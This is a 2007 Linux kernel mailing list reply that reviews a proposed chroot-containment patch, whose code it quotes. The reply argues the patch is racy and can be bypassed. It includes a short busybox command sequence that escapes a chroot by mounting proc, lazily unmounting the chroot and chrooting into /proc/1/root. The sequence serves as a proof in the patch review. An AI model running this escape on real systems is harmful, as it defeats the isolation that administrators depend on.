Re: Chroot bug

[Kyle Moffett]

On Sep 26, 2007, at 09:11:33, Miloslav Semler wrote:
+ long directory_is_out(struct vfsmount *wdmnt, struct dentry  
*wdentry,
+               struct vfsmount *rootmnt, struct dentry *root)
+ {
+       struct nameidata oldentry, newentry;
+       long ret = 1;
+       
+         read_lock(&current->fs->lock);
+       oldentry.dentry = dget(wdentry);
+       oldentry.mnt = mntget(wdmnt);
+         read_unlock(&current->fs->lock);
+       newentry.dentry = oldentry.dentry;
+       newentry.mnt = oldentry.mnt;
+       
+       follow_dotdot(&newentry);
+       /* check it */
+       if(newentry.dentry == root &&
+               newentry.mnt == rootmnt){
+               ret = 0;
+               goto out;
+       }
+       
+       while(oldentry.mnt != newentry.mnt ||
+               oldentry.dentry != newentry.dentry){
+               
+               memcpy(&oldentry, &newentry, sizeof(struct nameidata));
+               follow_dotdot(&newentry);
+               
+               /* check it */
+               if(newentry.dentry == root &&
+                       newentry.mnt == rootmnt){
+                       ret = 0;
+                       goto out;
+               }
+       }
+ out:
+       dput(newentry.dentry);
+       mntput(newentry.mnt);
+       return ret;
+ }

This is basically both painfully racy and easily broken with umount  
and/or access to proc.  See this busybox-compatible example:

## Set up chroot
mkdir /root1
mount -o mode=0750 -t tmpfs tmpfs /root1
cp -a /bin/busybox /root1/busybox

## Enter chroot
chroot /root1 /busybox

## Mount proc
/busybox mkdir /proc
/busybox mount -t proc proc /proc

## Poke around root filesystem (this may be all you need)
/busybox ls /proc/1/root/

## Detach our chroot so we're no longer a sub-directory
/busybox umount -l /proc/1/root/root1

## Now we can easily chroot to the original root, since it isn't in  
our ".." path
exec /busybox chroot /proc/1/root /bin/sh


See how easy that is?  Unless you stick the above parent-directory  
check (which is still racy against directories being moved around)  
for *EVERY* directory component of *EVERY* open/chdir-ish syscall,  
you are still going to be easily worked around through many different  
methods.

Cheers,
Kyle Moffett

-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to [EMAIL PROTECTED]
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/